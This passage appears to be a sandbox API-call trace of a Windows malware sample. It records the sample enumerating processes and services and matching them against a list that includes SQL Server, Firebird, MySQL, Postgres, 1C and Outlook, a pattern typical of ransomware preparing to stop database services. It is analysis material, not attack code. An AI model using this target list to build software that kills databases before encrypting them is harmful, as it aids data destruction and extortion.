(lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0182.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0182.694] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0182.694] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0182.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0182.694] lstrlenW (lpString="PlugPlay") returned 8 [0182.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0182.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0182.694] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0182.694] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0182.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0182.694] lstrlenW (lpString="Power") returned 5 [0182.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0182.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0182.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0182.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0182.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0182.695] lstrlenW (lpString="ProfSvc") returned 7 [0182.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0182.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0182.695] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0182.695] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0182.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0182.695] lstrlenW (lpString="RpcEptMapper") returned 12 [0182.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.695] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0182.695] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0182.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0182.695] lstrlenW (lpString="RpcSs") returned 5 [0182.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0182.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0182.695] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0182.695] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0182.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0182.695] lstrlenW (lpString="SamSs") returned 5 [0182.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0182.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0182.695] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0182.695] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0182.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0182.695] lstrlenW (lpString="Schedule") returned 8 [0182.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0182.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0182.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0182.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0182.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0182.696] lstrlenW (lpString="SENS") returned 4 [0182.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0182.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0182.696] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0182.696] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0182.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0182.696] lstrlenW (lpString="ShellHWDetection") returned 16 [0182.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.696] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0182.696] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0182.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0182.696] lstrlenW (lpString="Spooler") returned 7 [0182.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0182.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0182.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0182.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0182.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0182.696] lstrlenW (lpString="SysMain") returned 7 [0182.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0182.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0182.696] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0182.696] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0182.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0182.696] lstrlenW (lpString="Themes") returned 6 [0182.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0182.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0182.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0182.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0182.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0182.696] lstrlenW (lpString="TrkWks") returned 6 [0182.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0182.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0182.697] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0182.697] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0182.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0182.697] lstrlenW (lpString="UxSms") returned 5 [0182.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0182.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0182.697] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0182.697] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0182.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0182.697] lstrlenW (lpString="WdiServiceHost") returned 14 [0182.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0182.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0182.697] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0182.697] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0182.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0182.697] lstrlenW (lpString="WdiSystemHost") returned 13 [0182.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0182.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0182.697] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0182.697] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0182.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0182.697] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0182.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0182.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0182.697] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0182.697] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0182.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0182.697] lstrlenW (lpString="Winmgmt") returned 7 [0182.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0182.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0182.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0182.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0182.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0182.697] lstrlenW (lpString="WPDBusEnum") returned 10 [0182.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0182.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0182.698] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0182.698] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0182.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0182.698] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b1460 | out: hHeap=0x5c0000) returned 1 [0182.698] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0182.699] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.700] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0182.700] lstrlenW (lpString="System") returned 6 [0182.700] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0182.700] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0182.700] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0182.700] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0182.700] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0182.700] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0182.700] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0182.700] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0182.700] lstrlenW (lpString="smss.exe") returned 8 [0182.700] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0182.700] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0182.700] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0182.701] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0182.701] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0182.701] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0182.701] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0182.701] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.701] lstrlenW (lpString="csrss.exe") returned 9 [0182.701] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0182.701] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0182.701] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0182.701] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0182.701] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0182.701] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0182.701] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0182.701] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0182.702] lstrlenW (lpString="wininit.exe") returned 11 [0182.702] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0182.702] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0182.702] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0182.702] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0182.702] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0182.702] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0182.702] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0182.702] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.702] lstrlenW (lpString="csrss.exe") returned 9 [0182.702] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0182.702] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0182.702] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0182.702] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0182.702] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0182.702] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0182.702] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0182.703] lstrlenW (lpString="winlogon.exe") returned 12 [0182.703] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0182.703] lstrlenW (lpString="services.exe") returned 12 [0182.703] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0182.704] lstrlenW (lpString="lsass.exe") returned 9 [0182.704] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0182.704] lstrlenW (lpString="lsm.exe") returned 7 [0182.704] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.704] lstrlenW (lpString="svchost.exe") returned 11 [0182.704] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.705] lstrlenW (lpString="svchost.exe") returned 11 [0182.705] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.705] lstrlenW (lpString="svchost.exe") returned 11 [0182.705] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.706] lstrlenW (lpString="svchost.exe") returned 11 [0182.706] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.706] lstrlenW (lpString="svchost.exe") returned 11 [0182.706] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0182.706] lstrlenW (lpString="audiodg.exe") returned 11 [0182.706] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.707] lstrlenW (lpString="svchost.exe") returned 11 [0182.707] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0182.707] lstrlenW (lpString="explorer.exe") returned 12 [0182.707] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0182.707] lstrlenW (lpString="dwm.exe") returned 7 [0182.708] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.708] lstrlenW (lpString="svchost.exe") returned 11 [0182.708] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0182.708] lstrlenW (lpString="n.exe") returned 5 [0182.708] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0182.709] lstrlenW (lpString="spoolsv.exe") returned 11 [0182.709] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.709] lstrlenW (lpString="svchost.exe") returned 11 [0182.709] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0182.709] lstrlenW (lpString="taskhost.exe") returned 12 [0182.709] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0182.710] lstrlenW (lpString="reader_sl.exe") returned 13 [0182.710] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0182.710] lstrlenW (lpString="n.exe") returned 5 [0182.710] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0182.711] lstrlenW (lpString="n.exe") returned 5 [0182.711] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0182.711] lstrlenW (lpString="cmd.exe") returned 7 [0182.711] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0182.711] lstrlenW (lpString="cmd.exe") returned 7 [0182.711] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0182.712] lstrlenW (lpString="conhost.exe") returned 11 [0182.712] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0182.712] lstrlenW (lpString="conhost.exe") returned 11 [0182.712] Process32NextW (in: hSnapshot=0x1b4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0182.713] CloseHandle (hObject=0x1b4) returned 1 [0182.713] Sleep (dwMilliseconds=0x1f4) [0183.490] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633d00 [0183.491] EnumServicesStatusExW (in: hSCManager=0x633d00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0183.491] GetLastError () returned 0xea [0183.491] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e4) returned 0x3cfd2e8 [0183.491] EnumServicesStatusExW (in: hSCManager=0x633d00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3cfd2e8, cbBufSize=0x11e4, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3cfd2e8, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0183.520] CloseServiceHandle (hSCObject=0x633d00) returned 1 [0183.520] lstrlenW (lpString="Appinfo") returned 7 [0183.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0183.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0183.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0183.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0183.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0183.520] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0183.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.520] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0183.520] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0183.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0183.520] lstrlenW (lpString="AudioSrv") returned 8 [0183.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0183.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0183.521] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0183.521] 